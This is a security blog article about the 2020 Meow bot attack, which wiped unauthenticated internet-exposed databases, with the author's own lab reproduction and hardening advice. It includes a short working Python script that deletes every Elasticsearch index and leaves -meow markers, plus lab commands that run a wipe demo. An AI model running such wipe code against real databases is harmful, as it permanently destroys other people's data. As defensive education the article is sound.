The Meow Attack: The Bot That Wipes Exposed Databases for No Reason

Almost every attack against a database wants something. Ransomware wants money. A breach wants your data to sell. Even vandalism usually wants attention. The Meow attack wants nothing. It finds an unauthenticated database exposed to the internet, destroys the data, renames whatever is left with a -meow suffix, and leaves. No ransom note. No wallet address. No demand, no manifesto, no explanation. Just meow.

I have a personal stake in this family of attacks: in May 2026 a bot wiped a terabyte of my own Elasticsearch data through a port I left open, and I wrote that whole post-mortem up in Elasticsearch ransomware: how an open port wiped my database. Honestly, I had not even heard of the Meow attack until I went digging while writing that piece. I work with a lot of databases, but they are locked down, so this particular campaign had never come near me. So yes, I am late to it, writing this years after the peak, but as my own ransomware story shows, the exposure it preys on is very much still real, and that is exactly why it is worth documenting now: to help you close the same door before a bot finds it.

The Meow attack is that ransomware's stranger cousin. Same precondition, same scanning, same trivially-automated execution. The only difference is that at the end, where the ransomware drops a note asking for Bitcoin, Meow drops nothing and asks for nothing. It is pure destruction, and that turns out to be a more unsettling thing to defend against than greed.

The Meow attack, in one line: an automated bot finds an unsecured, internet-exposed database (Elasticsearch, MongoDB, Cassandra, Redis and others), permanently destroys the data, and overwrites or renames whatever is left with random characters and a -meow suffix. There is no ransom note and no demand.

What sets the Meow attack apart (the three traits that define it):

• No ransom, no demand. Unlike ransomware, the bot leaves no note, no wallet address, and no contact. The data is simply destroyed.
• Fully automated, internet-wide scanning. Bots sweep the entire IPv4 space for databases with weak or absent authentication and hit them in a matter of hours, no human in the loop.
• No known motive. No group claimed it and no monetisation was ever found. The prevailing read is vandalism, destruction "because it can be done."

Meow attack at a glance

• First seen: 23 July 2020, identified by security researcher Bob Diachenko.
• Signature: indices, collections, keys, or field values overwritten with random characters ending in -meow.
• Scale: more than 1,000 databases wiped in the first wave, over 4,000 within days.
• Databases hit: Elasticsearch, MongoDB, Redis, Cassandra, CouchDB, Hadoop, and Jenkins.
• Root cause: the database was reachable from the internet with no authentication.
• Status in 2026: the infection count has fallen sharply since 2020, but the underlying exposure is still routinely found and hit.

What the Meow attack actually does

The mechanics are almost insultingly simple, which is the whole point. A bot:

1. Finds a database reachable from the internet with no authentication. Elasticsearch, MongoDB, Redis, Cassandra, and others are all fair game.
2. Destroys the data, overwriting or deleting it.
3. Leaves its signature: indices, collections, or keys renamed with a random string ending in -meow, sometimes with a sequence of random numbers attached.

That signature is the whole identity of the attack. Victims would log in expecting their data and instead find their content gone and a scatter of xxxxxxxx-meow artefacts where their indices used to be. No instructions. As one researcher put it at the time, the bot "does not contain any ransom or threats, just meow."

Against Elasticsearch specifically, the visible result looks like this when you list your indices:

curl http://target:9200/_cat/indices?h=index
# 8a3f1c92-meow
# 5b7e0d44-meow

Your real indices are gone. The -meow indices are the tombstone.

The 2020 outbreak

The Meow attack burst into view in July 2020. It was first identified by researcher Bob Diachenko of Security Discovery, who watched an exposed Elasticsearch instance get wiped and stamped with the -meow marker. The first hits were observed on 23 July 2020, and the count climbed fast: more than 1,000 databases wiped in the first wave, and over 4,000 within days. Elasticsearch took the brunt, with well over a thousand instances destroyed, alongside MongoDB, more than fifty Redis instances, and others including Cassandra, Jenkins, and Hadoop. A separate researcher reported finding over six thousand compromised Elasticsearch services.

The reaction from people who study this was not surprise that it happened, but resignation that it was inevitable. One researcher, Victor Gevers, summed it up: it would not be long before every unauthenticated service with write access got wiped, simply because it could be. The Meow bot was the proof. There was no monetisation plan to reverse-engineer, no group claiming credit. The motive, to this day, is unknown, and that is arguably the most honest thing about it. The attack exists because exposed, writable databases exist. It is the internet's way of telling you the door was open.

How Meow looks across different databases

Meow was never an Elasticsearch-only problem. It hit every common unauthenticated data store, and the signature, the word meow, lands in a different place depending on the engine. The original 2020 campaign mostly deleted data and left -meow-named tombstones; later work shows the same family of attack overwriting values in place with random text ending in -meow. Either way, your real data is gone.

The constant across all six is the precondition, not the engine: a writable database reachable from the internet with no authentication. The -meow marker is just what the bot leaves on the way out.

Is the Meow attack still a threat in 2026?

Yes, though the raw numbers have fallen a long way. Trustwave SpiderLabs tracked exposed, compromised database counts on Shodan from 2020 to 2025: Elasticsearch peaked around 13,000 affected instances in late 2020 and dropped roughly 85% within a year, down to a handful by September 2025; MongoDB fell from about 6,000 to a couple of dozen; CouchDB from around 280 to three. Security-by-default in newer releases (Elasticsearch 8.0+, modern MongoDB) did most of that work.

But "down 99%" is not "gone," and the exposure Meow preys on has not changed at all. My own Elasticsearch ransomware incident in 2026 is the proof: an unauthenticated, internet-reachable database is still found and hit within hours, whether by a ransom bot or a Meow bot. The campaign is quieter; the open door is not.

The behaviour is understood well enough that there is now an open educational tool for reproducing it safely: MAD-CAT (Meow Attack Data Corruption Automation Tool) by Karl Biron, which simulates the attack across all six database types above inside a contained Docker lab. I wanted to see it for myself on current software rather than take 2020's word for it, so I did exactly that, from scratch, for this article: I stood up the latest release of each of the six databases, exposed and unauthenticated, and ran a Meow-style wipe against every one. The before-and-after for each is in the next section, and the full guarded lab is at the end.

I ran it against all six, on current releases

To be sure this is not just a 2020 story, I stood up the latest release of every database the Meow campaign hit, each one exposed and unauthenticated the way a misconfigured production box would be, seeded it with readable data, and ran a Meow-style wipe. Every single one fell. The signature is the same -meow string each time; what changes is where it lands. Here is the before-and-after for each, captured on my own machine in June 2026.

One honest caveat: several of these now ship with safer defaults (Elasticsearch has been secure by default since 8.0, Redis has protected mode, MongoDB binds to localhost, CouchDB requires an admin), so each had to be put into the exposed, unauthenticated state first. That is the entire point. The attack needs exactly one misconfiguration, and that misconfiguration is still found on the public internet every day.

Elasticsearch 9.0.0 deletes the index outright and leaves a -meow tombstone in its place, exactly the 2020 behaviour. Your documents are simply gone.

MongoDB 8.2.9 keeps the documents but overwrites every field value with a ten-character random string ending in -meow. The structure survives; the data does not.

Redis 8.8.0 leaves the keys in place but replaces every value, so your key structure looks intact while the contents are destroyed.

CouchDB 3.5.2 rewrites every JSON field value while keeping each document's _id, the same pattern as MongoDB.

Cassandra 5.0.8 overwrites every column value across the table while keeping the primary key, so the rows remain addressable but worthless.

Hadoop HDFS 3.4.1 keeps the file path and name but ruins the contents, so a directory listing looks normal until you read a file.

The takeaway from running all six is the one constant worth repeating: the engine never mattered. Every one of these is current software, and every one was trivially wiped the moment it was reachable without authentication.

Meow versus ransomware: the same attack with the ending removed

If you have read the Elasticsearch ransomware post-mortem, the Meow attack will feel deeply familiar, because under the hood it is the same operation. The difference is entirely in the final step.

The grim joke of ransomware is that paying gets you nothing, because the bot rarely copied your data before deleting it. Meow removes the pretence. It is what ransomware looks like once you strip away the lie that your data is being held for return. In a perverse way it is more honest: it never promises to give anything back.

How it is performed

Because the precondition is identical to the ransomware case, the attack code is nearly the same, just with a different ending. The bot connects to the open API, enumerates, and destroys. Here is the core of the Meow behaviour against Elasticsearch, written plainly for the lab:

import requests, uuid

TARGET = "http://localhost:9200"   # lab target only, see the disclaimer

def meow_wipe(base):
    # enumerate everything
    names = requests.get(f"{base}/_cat/indices?h=index").text.split()
    for name in names:
        requests.delete(f"{base}/{name}")          # destroy the data
        tomb = f"{uuid.uuid4().hex[:8]}-meow"       # the signature
        requests.put(f"{base}/{tomb}", json={})     # leave the -meow tombstone
    return names

That is the entire thing. No note, no wallet, no negotiation logic, because there is nothing to negotiate. Compared to the ransomware proof of concept in the companion article, the only change is that the read_me note is replaced by a -meow marker. Everything else, the finding, the enumeration, the deletion by name, is shared. This is why the two attacks travel together: anyone exposed to one is exposed to both.

Why the exposed-database problem is so large

The reason Meow could wipe thousands of databases in days, and the reason it still works in 2026, is that an enormous number of databases sit on the internet with no authentication, and finding them is free.

A 2024 IEEE study built a Shodan-style reconnaissance engine and ran it across 29 million IP addresses over a full year. Of the Elasticsearch instances it found, roughly 40% had no authentication at all. For some data stores the picture was worse: it found more unauthenticated ClickHouse services than authenticated ones. Attackers do not even need to run the scan themselves. Public engines like Shodan and Censys already maintain a continuously updated index of every internet-facing service. You query for "Elasticsearch, port 9200, no auth" and you receive a target list. The Meow bot is just an automated consumer of that list with DELETE privileges.

This is the core thing to internalise, and it is the same lesson from the ransomware story: you are not targeted, you are harvested. Nobody chose you. A machine swept the address space, found a writable database answering without a password, and ran its script. The attack does not need to be clever. It needs you to be reachable.

How to make sure you are not next

The defence against Meow is identical to the defence against the ransomware attack, because the exposure they exploit is identical. I wrote the full hardening playbook in the Elasticsearch ransomware post, so I will not repeat all of it here. The short version, in priority order:

• Bind the database to loopback. In Docker, "127.0.0.1:9200:9200", never "9200:9200". A port bound to loopback is not reachable from the internet no matter what else is misconfigured. This one change closes the door.
• Do not trust your host firewall to cover Docker. Docker writes iptables rules that bypass UFW and firewalld. Verify the actual bind with ss -tlnp or docker ps. A mapping showing 0.0.0.0:9200 is public.
• Reach the database through a VPN or tunnel, not an open port. If you need remote access, the database should never listen on a public interface. Tunnel in instead.
• Require authentication and confirm it is enforced. Elasticsearch has been secure by default since 8.0. Keep it that way and verify the HTTP API returns 401 to an anonymous request.
• Keep real, tested backups. Meow does not extort you, so the only thing standing between a wipe and a catastrophe is a backup you have actually restored from. Verify your snapshots contain what you think they contain.

And the five-minute self-check: search your server's IP on Shodan, try to reach your database API from off the box, confirm you get a 401, and look at _cat/indices for any -meow artefacts or unfamiliar indices you did not create.

Try it safely: the lab

Everything above came out of the techearl-labs repo, which has a meow-databases lab containing all six targets from the screenshots, each pinned to its current release, each deliberately exposed and bound to 127.0.0.1. Bring one up and run the before/after demo against it:

git clone https://github.com/ishankaru/techearl-labs
cd techearl-labs
# start one target (they are heavy; one at a time is fine)
docker compose -f meow-databases/docker-compose.yml up -d meow-mongodb
./meow-databases/demo.sh mongodb

Swap mongodb for elasticsearch, redis, couchdb, cassandra, or hadoop. The demo seeds readable data, prints it, runs the Meow-style wipe, and prints the -meow wreckage. Then harden the target (require auth, or just stop exposing it) and run the demo again to watch the wipe fail. Every target binds to loopback. Run any of this against something you do not own and you are committing a crime.

The takeaway

The Meow attack is what is left when you remove every sophisticated thing from a cyberattack: no exploit, no target selection, no monetisation, not even a demand. What remains still wiped thousands of real databases, because the one ingredient it needs, a writable database exposed to the internet with no authentication, is abundant. There is a strange clarity in an attack that asks for nothing. It cannot be reasoned with, it cannot be paid off, and it removes any illusion that being small or uninteresting protects you. The only defence is to not be reachable in the first place. Close the port, require the password, test the backup. The bot is not going to stop, so the door has to be shut.

Frequently asked questions

Where to go next

• Elasticsearch ransomware: how an open port wiped my database: the full first-person post-mortem of the Meow attack's money-motivated cousin, with the complete hardening playbook.
• How to run Elasticsearch in Docker: the correct loopback-bound setup that makes both attacks impossible.
• Elasticsearch cheat sheet: the index and cluster commands referenced here.
• Application-layer denial of service: another attack class aimed at the services you expose to the internet.
• Web application security vulnerabilities: the broader map of attack classes that exposed, unauthenticated data stores belong to.